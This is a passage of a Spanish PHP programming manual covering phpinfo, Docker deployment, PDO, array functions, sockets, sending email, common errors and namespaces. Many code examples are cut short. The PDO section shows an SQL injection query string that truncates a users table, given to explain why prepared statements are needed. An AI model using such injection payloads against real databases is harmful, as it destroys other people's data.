versiones, rutas, módulos) en el que está trabajando, especialmente cuando persigue un error. Es
una simple función incorporada:
phpinfo();
Tiene un parámetro $what que permite personalizar la salida. El valor predeterminado es INFO_ALL ,
lo que hace que muestre toda la información y se usa comúnmente durante el desarrollo para ver
el estado actual de PHP.
Puede pasar las constantes del parámetro INFO_* , combinadas con operadores bitwise para ver
https://riptutorial.com/es/home 147
una lista personalizada.
Puede ejecutarlo en el navegador para una apariencia detallada bien formateada. También
funciona en PHP CLI, donde puede canalizarlo a less para una vista más fácil.
Ejemplo
phpinfo(INFO_CONFIGURATION | INFO_ENVIRONMENT | INFO_VARIABLES);
Esto mostrará una lista de directivas de PHP ( ini_get ), entorno ( $_ENV ) y variables predefinidas .
Xdebug
Como puede ver, esta extensión es perfectamente adecuada para el entorno de desarrollo.
Especialmente la función de depuración remota puede ayudarlo a depurar su código php sin
numerosos var_dump y usar el proceso de depuración normal como en los C++ o Java .
Y activalo en tu php.ini:
zend_extension="/usr/local/php/modules/xdebug.so"
https://riptutorial.com/es/home 148
phpversion ()
Introducción
Cuando se trabaja con varias bibliotecas y sus requisitos asociados, a menudo es necesario
conocer la versión del analizador PHP actual o uno de sus paquetes.
Ejemplo
https://riptutorial.com/es/home 149
Capítulo 33: Despliegue de Docker
Introducción
Docker es una solución de contenedor muy popular que se usa ampliamente para implementar
código en entornos de producción. Facilita la administración y escalado de aplicaciones web y
microservicios.
Observaciones
Este documento asume que la ventana acoplable está instalada y el daemon en ejecución. Puede
consultar la instalación de Docker para verificar cómo instalar la misma.
Examples
Obtener imagen docker para php
Esto te dará la última versión de la imagen del repositorio oficial de php . En términos generales,
PHP generalmente se usa para implementar aplicaciones web, por lo que necesitamos un servidor
http para ir con la imagen. php:7.0-apache imagen de php:7.0-apache viene preinstalada con apache
para que la implementación sea sencilla.
Escritura dockerfile
Dockerfile se utiliza para configurar la imagen personalizada que construiremos con los códigos
de la aplicación web. Cree un nuevo archivo Dockerfile en la carpeta raíz del proyecto y luego
coloque los siguientes contenidos en el mismo
FROM php:7.0-apache
COPY /etc/php/php.ini /usr/local/etc/php/
COPY . /var/www/html/
EXPOSE 80
La primera línea es bastante sencilla y se usa para describir qué imagen se debe usar para
construir una nueva imagen. Lo mismo podría cambiarse a cualquier otra versión específica de
PHP desde el registro.
La segunda línea es simplemente subir el archivo php.ini a nuestra imagen. Siempre puede
cambiar ese archivo a otra ubicación de archivo personalizado.
https://riptutorial.com/es/home 150
La tercera línea copiaría los códigos en el directorio actual a /var/www/html que es nuestro
webroot. Recuerda /var/www/html dentro de la imagen.
La última línea simplemente abriría el puerto 80 dentro del contenedor de la ventana acoplable.
Ignorando archivos
En algunos casos, es posible que haya algunos archivos que no desea en el servidor, como la
configuración del entorno, etc. Supongamos que tenemos nuestro entorno en .env . Ahora, para
ignorar este archivo, simplemente podemos agregarlo a .dockerignore en la carpeta raíz de
nuestro código base.
Crear una imagen no es algo específico de php , pero para construir la imagen que describimos
anteriormente, simplemente podemos usar
Una vez que la imagen está construida, puedes verificar la misma usando
docker images
Una vez que tengamos una imagen lista, podemos comenzar y servir la misma. Para crear un
container partir de la imagen, use
Contenedor de control
Para verificar los contenedores en funcionamiento, simplemente use
docker ps
Esto mostrará una lista de todos los contenedores que se ejecutan en el demonio docker.
Registros de aplicación
https://riptutorial.com/es/home 151
Los registros son muy importantes para depurar la aplicación. Para comprobar su uso.
https://riptutorial.com/es/home 152
Capítulo 34: DOP
Introducción
La extensión PDO (PHP Data Objects) permite a los desarrolladores conectarse a numerosos
tipos diferentes de bases de datos y ejecutar consultas contra ellos de manera uniforme y
orientada a objetos.
Sintaxis
• PDO::LastInsertId()
• PDO::LastInsertId($columnName) // algunos controladores necesitan el nombre de columna
Observaciones
Advertencia No deje de verificar las excepciones mientras usa lastInsertId() . Puede lanzar el
siguiente error:
Aquí es cómo debe verificar adecuadamente las excepciones utilizando este método:
try {
$id = $pdo->lastInsertId(); // return value is an integer
}
catch( PDOException $e ) {
echo $e->getMessage();
}
Examples
Conexión y recuperación de PDO básica
Desde PHP 5.0, PDO ha estado disponible como una capa de acceso a la base de datos. Es
independiente de la base de datos, por lo que el siguiente código de ejemplo de conexión debería
funcionar para cualquiera de sus bases de datos compatibles simplemente cambiando el DSN.
//Using MySQL (connection via network, optionally you can specify the port too):
//$dsn = "mysql:host=127.0.0.1;port=3306;dbname=testdb;charset=utf8";
https://riptutorial.com/es/home 153
//Or Postgres
//$dsn = "pgsql:host=localhost;port=5432;dbname=testdb;";
$username = "user";
$password = "pass";
$db = new PDO($dsn, $username, $password);
// Create some parameters to fill the placeholders, and execute the statement
$parameters = [ "221B" ];
$statement->execute($parameters);
Esto permite a cualquier usuario de este script modificar nuestra base de datos básicamente a
voluntad. Por ejemplo, considere la siguiente cadena de consulta:
page.php?user=0;%20TRUNCATE%20TABLE%20users;
SELECT name, email, user_level FROM users WHERE userID = 0; TRUNCATE TABLE users;
Si bien este es un ejemplo extremo (la mayoría de los ataques de inyección de SQL no pretenden
eliminar datos, ni la mayoría de las funciones de ejecución de consultas de PHP son compatibles
https://riptutorial.com/es/home 154
con las consultas múltiples), este es un ejemplo de cómo un ataque de inyección de SQL puede
ser posible por el montaje descuidado de la consulta. Desafortunadamente, los ataques de este
tipo son muy comunes y son altamente efectivos debido a los codificadores que no toman las
precauciones adecuadas para proteger sus datos.
Para evitar que se produzca la inyección de SQL, las declaraciones preparadas son la solución
recomendada. En lugar de concatenar datos de usuario directamente a la consulta, se utiliza un
marcador de posición en su lugar. Los datos se envían por separado, lo que significa que no hay
posibilidad de que el motor de SQL confunda los datos del usuario para un conjunto de
instrucciones.
Si bien el tema aquí es PDO, tenga en cuenta que la extensión MySQLi de PHP
también admite declaraciones preparadas
PDO admite dos tipos de marcadores de posición (los marcadores de posición no se pueden usar
para nombres de columnas o tablas, solo valores):
Si alguna vez necesita cambiar dinámicamente los nombres de tablas o columnas, sepa que esto
es responsabilidad de su propio riesgo y una mala práctica. Sin embargo, se puede hacer por
concatenación de cuerdas. Una forma de mejorar la seguridad de dichas consultas es establecer
una tabla de valores permitidos y comparar el valor que desea concatenar con esta tabla.
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
Esto hace que PDO utilice las declaraciones preparadas nativas del DBMS subyacente en lugar
https://riptutorial.com/es/home 155
de simplemente emularlo.
Sin embargo, tenga en cuenta que la DOP retrocederá silenciosamente para emular las
declaraciones que MySQL no puede preparar de forma nativa: las que pueden aparecer en el
manual ( fuente ).
Dado que PDO fue diseñado para ser compatible con versiones anteriores del servidor MySQL
(que no tenía soporte para sentencias preparadas), debe deshabilitar explícitamente la emulación.
De lo contrario, perderá los beneficios adicionales de prevención de inyecciones , que
generalmente se otorgan utilizando declaraciones preparadas.
Conexión de zócalo
$dsn = 'mysql:unix_socket=/tmp/mysql.sock;dbname=demo;charset=utf8';
$connection = new \PDO($dsn, $username, $password);
https://riptutorial.com/es/home 156
Transacciones de base de datos con DOP
Las transacciones de la base de datos aseguran que un conjunto de cambios en los datos solo se
harán permanentes si cada declaración es exitosa. Se puede detectar cualquier error de consulta
o código durante una transacción y, a continuación, tiene la opción de revertir los cambios
intentados.
try {
$statement = $pdo->prepare("UPDATE user SET name = :name");
$pdo->beginTransaction();
$statement->execute(["name"=>'Bob']);
$statement->execute(["name"=>'Joe']);
$pdo->commit();
}
catch (\Exception $e) {
if ($pdo->inTransaction()) {
$pdo->rollback();
// If we got here our two data updates are not in the database
}
throw $e;
}
Durante una transacción, los cambios de datos realizados solo son visibles para la conexión
activa. SELECT instrucciones SELECT devolverán los cambios modificados incluso si aún no están
comprometidos con la base de datos.
Nota : consulte la documentación del proveedor de la base de datos para obtener detalles sobre
el soporte de transacciones. Algunos sistemas no admiten transacciones en absoluto. Algunos
admiten transacciones anidadas, mientras que otros no.
En la siguiente sección se muestra un ejemplo práctico del mundo real donde el uso de
transacciones garantiza la consistencia de la base de datos.
Imagine el siguiente escenario, digamos que está construyendo un carrito de compras para un
sitio web de comercio electrónico y decidió mantener los pedidos en dos tablas de base de datos.
Una orders nombrada con los campos order_id , name , address , telephone y created_at . Y una
segunda llamada orders_products con los campos order_id , product_id y quantity . La primera
tabla contiene los metadatos del pedido, mientras que la segunda contiene los productos reales
que se han pedido.
https://riptutorial.com/es/home 157
Inserción de un nuevo pedido en la base de datos.
Para insertar un nuevo pedido en la base de datos debe hacer dos cosas. Primero necesita INSERT
un nuevo registro dentro de la tabla de orders que contendrá los metadatos del pedido ( name ,
address , etc.). Y luego necesita INSERT un registro en la tabla orders_products , para cada uno de
los productos que se incluyen en el pedido.
$preparedStatement->execute([
'name' => $name,
'address' => $address,
'telephone' => $telephone,
'created_at' => time(),
]);
$count = 0;
foreach ( $products as $productId => $quantity ) {
$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity'
. $count . ')';
++$count;
}
Esto funcionará muy bien para insertar un nuevo pedido en la base de datos, hasta que ocurra
algo inesperado y, por alguna razón, la segunda consulta INSERT falle. Si eso sucede, terminará
con un nuevo pedido dentro de la tabla de orders , que no tendrá productos asociados.
Afortunadamente, la solución es muy simple, todo lo que tiene que hacer es hacer las consultas
en forma de una sola transacción de base de datos.
Para iniciar una transacción utilizando PDO todo lo que tiene que hacer es llamar al método
beginTransaction antes de ejecutar cualquier consulta en su base de datos. Luego, realice los
cambios que desee en sus datos ejecutando las consultas INSERT y / o UPDATE . Y, finalmente, se
https://riptutorial.com/es/home 158
llama al método commit del objeto PDO para que los cambios sean permanentes. Hasta que llame al
método de commit , todos los cambios que haya realizado en sus datos hasta este momento aún
no son permanentes, y pueden revertirse fácilmente simplemente llamando al método de rollback
del objeto PDO .
// In this example we are using MySQL but this applies to any database that has support for
transactions
$db = new PDO('mysql:host=' . $host . ';dbname=' . $dbname . ';charset=utf8', $username,
$password);
// Make sure that PDO will throw an exception in case of error to make error handling easier
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
// From this point and until the transaction is being committed every change to the
database can be reverted
$db->beginTransaction();
$preparedStatement->execute([
'name' => $name,
'address' => $address,
'telephone' => $telephone,
'created_at' => time(),
]);
$count = 0;
foreach ( $products as $productId => $quantity ) {
$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ',
:quantity' . $count . ')';
++$count;
}
https://riptutorial.com/es/home 159
$db->commit();
}
catch ( PDOException $e ) {
// Failed to insert the order into the database so we rollback any changes
$db->rollback();
throw $e;
}
Comenzamos con $db , una instancia de la clase PDO. Después de ejecutar una consulta, a
menudo queremos determinar el número de filas que se han visto afectadas por ella. El método
rowCount() de PDOStatement funcionará bien:
NOTA: este método solo se debe usar para determinar el número de filas afectadas por las
instrucciones INSERT, DELETE y UPDATE. Aunque este método también puede funcionar para
sentencias SELECT, no es consistente en todas las bases de datos.
DOP :: lastInsertId ()
En postgresql y oracle, está la palabra clave RETURNING, que devuelve las columnas
especificadas de las filas actualmente insertadas / modificadas. Aquí el ejemplo para insertar una
entrada:
https://riptutorial.com/es/home 160
$dsn = "pgsql:host=$host;dbname=$database;charset=utf8";
$pdo = new PDO($dsn, $user, $password);
https://riptutorial.com/es/home 161
Capítulo 35: Ejecutando sobre una matriz
Examples
Aplicando una función a cada elemento de una matriz.
Para aplicar una función a cada elemento de una matriz, use array_map() . Esto devolverá una
nueva matriz.
$array = array(1,2,3,4,5);
//each array item is iterated over and gets stored in the function parameter.
$newArray = array_map(function($item) {
return $item + 1;
}, $array);
En lugar de usar una función anónima , podría usar una función nombrada. Lo anterior podría
escribirse como:
function addOne($item) {
return $item + 1;
}
class Example {
public function addOne($item) {
return $item + 1;
}
Otra forma de aplicar una función a cada elemento de una matriz es array_walk() y
array_walk_recursive() . La devolución de llamada pasada a estas funciones toma tanto la clave /
índice como el valor de cada elemento de la matriz. Estas funciones no devolverán una nueva
matriz, en lugar de un booleano para el éxito. Por ejemplo, para imprimir cada elemento en una
matriz simple:
https://riptutorial.com/es/home 162
});
// prints "1 2 3 4 5"
Array
(
[0] => Array
(
[0] => a
[1] => b
)
https://riptutorial.com/es/home 163
[1] => d
)
Si todos los elementos de la matriz no están divididos equitativamente por el tamaño del
fragmento, el último elemento de la matriz de salida serán los elementos restantes.
Parámetro Detalles
implode() combina todos los valores de la matriz pero pierde toda la información clave:
$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];
$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];
Implodificar claves con valores es más complejo, pero se puede hacer usando un estilo funcional:
$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];
array_reduce
https://riptutorial.com/es/home 164
reduce la matriz en un solo valor. Básicamente, el array_reduce pasará por cada
array_reduce
elemento con el resultado de la última iteración y producirá un nuevo valor para la siguiente
iteración.
Suma de la matriz
resultado: 15
resultado: 211
resultado: true
resultado: true
resultado: "hello-world-PHP-language"
https://riptutorial.com/es/home 165
function implode_method($array, $piece){
return array_reduce($array, function($carry, $item) use ($piece) {
return !$carry ? $item : ($carry . $piece . $item);
});
}
resultado: "hello-world-PHP-language"
Use list () para asignar rápidamente una lista de valores variables a una matriz. Ver también
compacta ()
// Assigns to $a, $b and $c the values of their respective array elements in $array
with keys numbered from zero
list($a, $b, $c) = $array;
Con PHP 7.1 (actualmente en versión beta) podrá usar la sintaxis de la lista corta :
// Assigns to $a, $b and $c the values of their respective array elements in $array with keys
numbered from zero
[$a, $b, $c] = $array;
// Assigns to $a, $b and $c the values of the array elements in $array with the keys "a", "b"
and "c", respectively
["a" => $a, "b" => $b, "c" => $c] = $array;
$array = [1,2,3];
$newArraySize = array_push($array, 5, 6); // The method returns the new size of the array
print_r($array); // Array is passed by reference, therefore the original array is modified to
contain the new elements
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)
https://riptutorial.com/es/home 166
$array[] = se usa así:
$array = [1,2,3];
$array[] = 5;
$array[] = 6;
print_r($array);
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
)
https://riptutorial.com/es/home 167
Capítulo 36: Enchufes
Examples
Socket cliente TCP
Al pasar PHP_NORMAL_READ como el tercer parámetro se lee hasta un byte \r / \n , y este byte se
https://riptutorial.com/es/home 168
incluye en el valor de retorno.
while(true) {
// read a line from the socket
$line = socket_read($socket, 1024, PHP_NORMAL_READ);
if(substr($line, -1) === "\r") {
// read/skip one byte from the socket
// we assume that the next byte in the stream must be a \n.
// this is actually bad in practice; the script is vulnerable to unexpected values
socket_read($socket, 1, PHP_BINARY_READ);
}
$message = parseLine($line);
if($message->type === "QUIT") break;
}
Cerrando el zócalo
Cerrar el socket libera el socket y sus recursos asociados.
socket_close($socket);
Creación de zócalo
Crea un socket que use el TCP. Es lo mismo que crear un socket de cliente.
Enlace de zócalo
Enlace las conexiones de una red dada (parámetro 2) para un puerto específico (parámetro 3) al
socket.
El segundo parámetro suele ser "0.0.0.0" , que acepta la conexión de todas las redes. También
puede
https://riptutorial.com/es/home 169
Una causa común de errores de socket_bind es que la dirección especificada ya está vinculada a
otro proceso . Otros procesos generalmente se eliminan (generalmente de forma manual para
evitar la muerte accidental de procesos críticos) para que los sockets se liberen.
socket_listen($socket, 5);
Manejo de conexion
Un servidor TCP es en realidad un servidor que maneja conexiones secundarias. socket_accept
crea una nueva conexión secundaria.
$conn = socket_accept($socket);
La transferencia de datos para una conexión desde socket_accept es la misma que para un socket
de cliente TCP .
Cerrando el servidor
Por otro lado, socket_close($socket); debe llamarse cuando el servidor ya no se utiliza. Esto
también liberará la dirección TCP, permitiendo que otros procesos se unan a la dirección.
socket_last_error se puede usar para obtener el ID de error del último error de la extensión de
sockets.
https://riptutorial.com/es/home 170
}
Enviando un paquete
Esta línea envía $data en un paquete UDP a $address : $port .
Recibiendo un paquete
El siguiente fragmento de código intenta administrar paquetes UDP de una manera indexada por
el cliente.
$clients = [];
while (true){
socket_recvfrom($socket, $buffer, 32768, 0, $ip, $port) === true
or onSocketFailure("Failed to receive packet", $socket);
$address = "$ip:$port";
if (!isset($clients[$address])) $clients[$address] = new Client();
$clients[$address]->handlePacket($buffer);
}
https://riptutorial.com/es/home 171
Cerrando el servidor
socket_closese puede utilizar en el recurso de socket del servidor UDP. Esto liberará la dirección
UDP, permitiendo que otros procesos se unan a esta dirección.
https://riptutorial.com/es/home 172
Capítulo 37: Enviando email
Parámetros
Parámetro Detalles
string
$additional_headers Opcional: encabezados para agregar al correo electrónico.
Observaciones
Correo electrónico que estoy enviando a través de mi script nunca llega. ¿Qué tengo que
hacer?
• Si los correos electrónicos están desapareciendo, inicie una cuenta de correo electrónico
con un servicio de correo electrónico gratuito que tenga una carpeta de correo no deseado
(o use una cuenta de correo electrónico que no filtre el correo basura). De esta manera,
puede ver si el correo electrónico no se envía, o tal vez se envía, pero se filtra como correo
no deseado.
• ¿Revisó la dirección "de:" que utilizó para los posibles correos "devueltos al remitente"?
También puede configurar una dirección de rebote separada para los correos de error.
El correo electrónico que estoy enviando se está filtrando como spam. ¿Qué tengo que
hacer?
• ¿La dirección del remitente ("De") pertenece a un dominio que se ejecuta en el servidor
desde el que envía el correo electrónico? Si no, cambia eso.
https://riptutorial.com/es/home 173
• ¿Está su servidor en una lista negra? Esta es una posibilidad cuando estás en un
alojamiento compartido cuando los vecinos se comportan mal. La mayoría de los
proveedores de listas negras, como Spamhaus , tienen herramientas que le permiten buscar
la IP de su servidor. También hay herramientas de terceros como MX Toolbox.
• Si todo lo demás falla, considere usar el correo electrónico como un servicio como Mailgun ,
SparkPost , Amazon SES , Mailjet , SendinBlue o SendGrid, para nombrar algunos, en su
lugar. Todos ellos tienen API que se pueden llamar usando PHP.
Examples
Envío de correo electrónico: conceptos básicos, más detalles y un ejemplo
completo
Enviar correo en PHP puede ser tan simple como llamar a la función incorporada mail() . mail()
toma hasta cinco parámetros, pero los tres primeros son todo lo que se requiere para enviar un
correo electrónico (aunque los cuatro parámetros se usan comúnmente como se demostrará a
continuación). Los tres primeros parámetros son:
El ejemplo simple anterior funciona bien en circunstancias limitadas, como codificar una alerta de
correo electrónico para un sistema interno. Sin embargo, es común colocar los datos pasados
como parámetros para mail() en variables para hacer que el código sea más limpio y fácil de
administrar (por ejemplo, generar dinámicamente un correo electrónico desde un envío de
formulario).
Además, mail() acepta un cuarto parámetro que le permite recibir encabezados de correo
adicionales con su correo electrónico. Estos encabezados pueden permitirle establecer:
https://riptutorial.com/es/home 174
que este correo electrónico se envió a través de PHP
$message = 'This is the email message body'; // Could also be $message = $_POST['message'];
$headers = implode("\r\n", [
'From: John Conde <[email protected]>',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION
]);
El quinto parámetro opcional se puede usar para pasar banderas adicionales como opciones de
línea de comando al programa configurado para ser usado al enviar correo, según lo definido por
la configuración de sendmail_path . Por ejemplo, esto se puede usar para configurar la dirección
del remitente del sobre cuando se usa sendmail / postfix con la opción -f sendmail.
$fifth = '[email protected]';
Aunque el uso de mail() puede ser bastante confiable, de ninguna manera se garantiza que se
enviará un correo mail() cuando se llame a mail() . Para ver si hay un error potencial al enviar su
correo electrónico, debe capturar el valor de retorno de mail() . TRUE será devuelto si el correo fue
aceptado exitosamente para su entrega. De lo contrario, recibirá FALSE .
NOTA : aunque mail() puede devolver TRUE , no significa que el correo electrónico fue enviado o
que el destinatario lo recibirá. Solo indica que el correo se entregó con éxito al sistema de correo
de su sistema con éxito.
Si desea enviar un correo electrónico HTML, no hay mucho trabajo que deba hacer. Necesitas:
$to = '[email protected]';
$subject = 'Email Subject';
$message = '<html><body>This is the email message body</body></html>';
$headers = implode("\r\n", [
'From: John Conde <[email protected]>',
'Reply-To: [email protected]',
'MIME-Version: 1.0',
'Content-Type: text/html; charset=ISO-8859-1',
'X-Mailer: PHP/' . PHP_VERSION
]);
Aquí hay un ejemplo completo de cómo usar la función mail() PHP mail()
https://riptutorial.com/es/home 175
<?php
error_reporting(-1);
ini_set('display_errors', 'On');
set_error_handler("var_dump");
// Special mail settings that can make mail less likely to be considered spam
// and offers logging in case of technical difficulties.
ini_set("mail.log", "/tmp/mail.log");
ini_set("mail.add_x_header", TRUE);
$to = '[email protected]';
$subject = 'Email Subject';
$message = 'This is the email message body';
$headers = implode("\r\n", [
'From: [email protected]',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION
]);
if ($result) {
}
else {
Ver también
Documentacion oficial
• mail()
• Configuración de mail() PHP mail()
https://riptutorial.com/es/home 176
automáticamente como spam?
• Cómo usar SMTP para enviar correos electrónicos
• Configuración del sobre de la dirección
Mailers alternativos
• PHPMailer
• SwiftMailer
• PERA :: Correo
Temas relacionados
<?php
$to = '[email protected]';
$subject = 'Sending an HTML email using mail() in PHP';
$message = '<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>';
$headers = implode("\r\n", [
"From: John Conde <[email protected]>",
"Reply-To: [email protected]",
"X-Mailer: PHP/" . PHP_VERSION,
"MIME-Version: 1.0",
"Content-Type: text/html; charset=UTF-8"
]);
Esto no es muy diferente a enviar un correo electrónico de texto sin formato . Las diferencias
clave en cuanto al cuerpo del contenido están estructuradas como un documento HTML y hay dos
encabezados adicionales que deben incluirse para que el cliente de correo electrónico sepa que
el correo electrónico es trender como HTML. Son:
<?php
https://riptutorial.com/es/home 177
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email using PHPMailer.";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->addAddress("[email protected]", "Recepient Name");
$mail->addAddress("[email protected]");
$mail->addCC("[email protected]");
$mail->addBCC("[email protected]");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email using PHPMailer.";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
<?php
$to = '[email protected]';
$subject = 'Email Subject';
$message = 'This is the email message body';
$attachment = '/path/to/your/file.pdf';
$content = file_get_contents($attachment);
https://riptutorial.com/es/home 178
MUST be split into chunks 76 characters in length as
specified by RFC 2045 section 6.8. By default, the
function chunk_split() uses a chunk length of 76 with
a trailing CRLF (\r\n). The 76 character requirement
does not include the carriage return and line feed */
$content = chunk_split(base64_encode($content));
// headers
$headers = implode("\r\n", [
'From: [email protected]',
'Reply-To: [email protected]',
'X-Mailer: PHP/' . PHP_VERSION,
'MIME-Version: 1.0',
// boundary parameter required, must be enclosed by quotes
'Content-Type: multipart/mixed; boundary="' . $boundary . '"',
"Content-Transfer-Encoding: 7bit",
"This is a MIME encoded message." // message for restricted transports
]);
if ($result) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
https://riptutorial.com/es/home 179
Codificaciones de transferencia de contenido
Las codificaciones disponibles son 7bit , 8bit , binary , quoted-printable , base64 , ietf-token y x-
token . De estas codificaciones, cuando un encabezado tiene un Tipo de contenido de varias
partes , la Codificación de transferencia de contenido no debe tener ningún otro valor que no sea
7bit , 8bit o binario como se indica en RFC 2045, sección 6.4.
Nuestro ejemplo elige la codificación de 7 bits, que representa los caracteres US-ASCII, para el
encabezado de varias partes porque, como se señala en la sección 6 de RFC 2045, algunos
protocolos solo admiten esta codificación. Los datos dentro de los límites se pueden codificar
parte por parte (RFC 2046, sección 5.1). Este ejemplo hace exactamente esto. La primera parte,
que contiene el mensaje de texto / sin formato, se define como 8 bits, ya que puede ser necesario
admitir caracteres adicionales. En este caso, se está utilizando el conjunto de caracteres Latin1
(iso-8859-1). La segunda parte es el archivo adjunto y, por lo tanto, se define como una aplicación
codificada en base64 / flujo de octetos. Como base64 transforma datos arbitrarios en el rango de
7 bits, puede enviarse en transportes restringidos (RFC 2045, sección 6.2).
<?php
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->addAddress("[email protected]", "Recepient Name");
$mail->addAddress("[email protected]");
$mail->addCC("[email protected]");
$mail->addBCC("[email protected]");
$mail->Subject = "Subject Text";
$mail->isHTML(true);
$mail->Body = "<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
italic.</i></p></body></html>";
$mail->AltBody = "This paragraph is not bold.\n\nThis text is not italic.";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
<?php
https://riptutorial.com/es/home 180
$mail = new PHPMailer();
$mail->From = "[email protected]";
$mail->FromName = "Full Name";
$mail->addReplyTo("[email protected]", "Reply Address");
$mail->Subject = "Subject Text";
$mail->Body = "This is a sample basic text email with an attachment using PHPMailer.";
// Add Second Attachment, run-time created. ie: CSV to be open with Excel
$csvHeader = "header1,header2,header3";
$csvData = "row1col1,row1col2,row1col3\nrow2col1,row2col2,row2col3";
if($mail->send()) {
// Success! Redirect to a thank you page. Use the
// POST/REDIRECT/GET pattern to prevent form resubmissions
// when a user refreshes the page.
<?php
$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setText("This is a sample basic text email using ");
$sendgrid->send($email);
<?php
$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setHtml("<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is
https://riptutorial.com/es/home 181
italic.</i></p></body></html>");
$sendgrid->send($email);
<?php
$email->addTo("[email protected]")
->setFrom("[email protected]")
->setSubject("Subject Text")
->setText("This is a sample basic text email using ");
$attachment = '/path/to/your/file.pdf';
$content = file_get_contents($attachment);
$content = chunk_split(base64_encode($content));
$sendgrid->send($email);
https://riptutorial.com/es/home 182
Capítulo 38: Errores comunes
Examples
$ Inesperado fin
Si recibe un error como este (o, a veces, el unexpected $end , según la versión de PHP), deberá
asegurarse de que haya hecho coincidir todas las comas invertidas, todos los paréntesis, todas
las llaves, todos los corchetes, etc.
<?php
if (true) {
echo "asdf";
?>
Fíjate en la llave que falta. También tenga en cuenta que el número de línea que se muestra para
este error es irrelevante, siempre muestra la última línea de su documento.
Estos errores significan que hay algo mal con su consulta (esto es un error de PHP / MySQL), o
sus referencias. El error anterior fue producido por el siguiente código:
$row = $result->fetch_assoc();
https://riptutorial.com/es/home 183
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
Esto lanzará una excepción con este mensaje mucho más útil en su lugar:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server
version for the right syntax to use near 'SELCT * FROM db' at line 1
Otro ejemplo que produciría un error similar, es donde simplemente le dio la información
incorrecta a la función mysql_fetch_assoc o similar:
$john = true;
mysqli_fetch_assoc($john, $mysqli); // this makes no sense??
https://riptutorial.com/es/home 184
Capítulo 39: Espacios de nombres
Observaciones
De la documentación de PHP :
¿Qué son los espacios de nombres? En la definición más amplia, los espacios de
nombres son una forma de encapsular elementos. Esto puede verse como un
concepto abstracto en muchos lugares. Por ejemplo, en cualquier sistema operativo,
los directorios sirven para agrupar archivos relacionados y actúan como un espacio de
nombres para los archivos que contienen. Como ejemplo concreto, el archivo foo.txt
puede existir tanto en el directorio / home / greg como en / home / other, pero dos
copias de foo.txt no pueden coexistir en el mismo directorio. Además, para acceder al
archivo foo.txt fuera del directorio / home / greg, debemos añadir el nombre del
directorio al nombre del archivo usando el separador de directorios para obtener
/home/greg/foo.txt. Este mismo principio se extiende a los espacios de nombres en el
mundo de la programación.
Tenga en cuenta que los espacios de nombres de nivel superior PHP y php están reservados para
el propio lenguaje PHP. No deben utilizarse en ningún código personalizado.
Examples
Declarando espacios de nombres
Se recomienda declarar solo un único espacio de nombres por archivo, aunque puede declarar
tantos como desee en un solo archivo:
namespace First {
class A { ... }; // Define class A in the namespace First.
}
namespace Second {
class B { ... }; // Define class B in the namespace Second.
}
namespace {
class C { ... }; // Define class C in the root namespace.
}
Cada vez que declare un espacio de nombres, las clases que defina después pertenecerán a ese
espacio de nombres:
https://riptutorial.com/es/home 185
namespace MyProject\Shapes;
Una declaración de espacio de nombres se puede utilizar varias veces en diferentes archivos. El
ejemplo anterior definió tres clases en el espacio de nombres MyProject\Shapes en un solo archivo.
Preferiblemente, esto se dividiría en tres archivos, cada uno comenzando con el namespace
MyProject\Shapes; . Esto se explica con más detalle en el ejemplo estándar de PSR-4.
namespace MyProject\Shapes;
Para hacer referencia a esta clase, se debe utilizar la ruta completa (incluido el espacio de
nombres):
En cuanto a PHP 7.0, puede agrupar varias declaraciones de use en una sola declaración
utilizando corchetes:
use MyProject\Shapes\{
Rectangle, //Same as `use MyProject\Shapes\Rectangle`
Circle, //Same as `use MyProject\Shapes\Circle`
